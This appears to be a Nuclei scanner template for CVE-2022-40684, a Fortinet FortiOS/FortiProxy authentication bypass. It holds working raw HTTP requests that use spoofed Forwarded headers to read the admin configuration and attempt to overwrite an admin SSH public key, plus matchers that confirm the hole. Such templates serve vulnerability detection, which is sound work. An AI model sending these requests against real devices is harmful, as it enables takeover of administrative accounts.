71 lines
2.6 KiB
YAML
71 lines
2.6 KiB
YAML
id: CVE-2022-40684
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info:
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name: Fortinet - Authentication Bypass
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author: Shockwave,nagli,carlosvieira
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severity: critical
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description: |
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Fortinet contains an authentication bypass vulnerability via using an alternate path or channel in FortiOS 7.2.0 through 7.2.1 and 7.0.0 through 7.0.6, FortiProxy 7.2.0 and 7.0.0 through 7.0.6, and FortiSwitchManager 7.2.0 and 7.0.0. An attacker can perform operations on the administrative interface via specially crafted HTTP or HTTPS requests, thus making it possible to obtain sensitive information, modify data, and/or execute unauthorized operations.
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remediation: |
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Apply the necessary security patches or firmware updates provided by Fortinet to mitigate this vulnerability.
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reference:
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- https://github.com/horizon3ai/CVE-2022-40684/blob/master/CVE-2022-40684.py
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- https://securityonline.info/researchers-have-developed-cve-2022-40684-poc-exploit-code/
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- https://socradar.io/what-do-you-need-to-know-about-fortinet-critical-authentication-bypass-vulnerability-cve-2022-40684/
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- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-40684
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- https://nvd.nist.gov/vuln/detail/CVE-2022-40684
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2022-40684
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cwe-id: CWE-287
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epss-score: 0.95286
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epss-percentile: 0.99154
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cpe: cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: fortinet
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product: fortiproxy
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tags: cve,cve2022,fortinet,fortigate,fortios,fortiproxy,auth-bypass,kev,intrusive
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http:
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- raw:
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- |
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GET /api/v2/cmdb/system/admin HTTP/1.1
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Host: {{Hostname}}
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User-Agent: Node.js
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Forwarded: by="[127.0.0.1]:1337";for="[127.0.0.1]:1337";proto=http;host=
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X-Forwarded-Vdom: root
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- |
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PUT /api/v2/cmdb/system/admin/admin HTTP/1.1
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Host: {{Hostname}}
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User-Agent: Report Runner
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Content-Type: application/json
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Forwarded: for=[127.0.0.1]:8000;by=[127.0.0.1]:9000;
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Content-Length: 610
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{
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"ssh-public-key1":"{{randstr}}"
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}
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stop-at-first-match: true
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req-condition: true
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matchers-condition: or
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matchers:
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- type: word
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part: body_1
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words:
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- ENC XXXX
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- http_method
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condition: and
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- type: word
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part: body_2
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words:
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- Invalid SSH public key.
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- cli_error
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condition: and
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# digest: 4b0a00483046022100ca3cc91a579e20772aada1c8f4a80c5d2a38603e1b3a64a5ef3601a876efae45022100f3229a4fd06a4ebe55e5184e4eaa294df4c4dcd3b4c057c1dc2c3e4eb217db3e:922c64590222798bb761d5b6d8e72950
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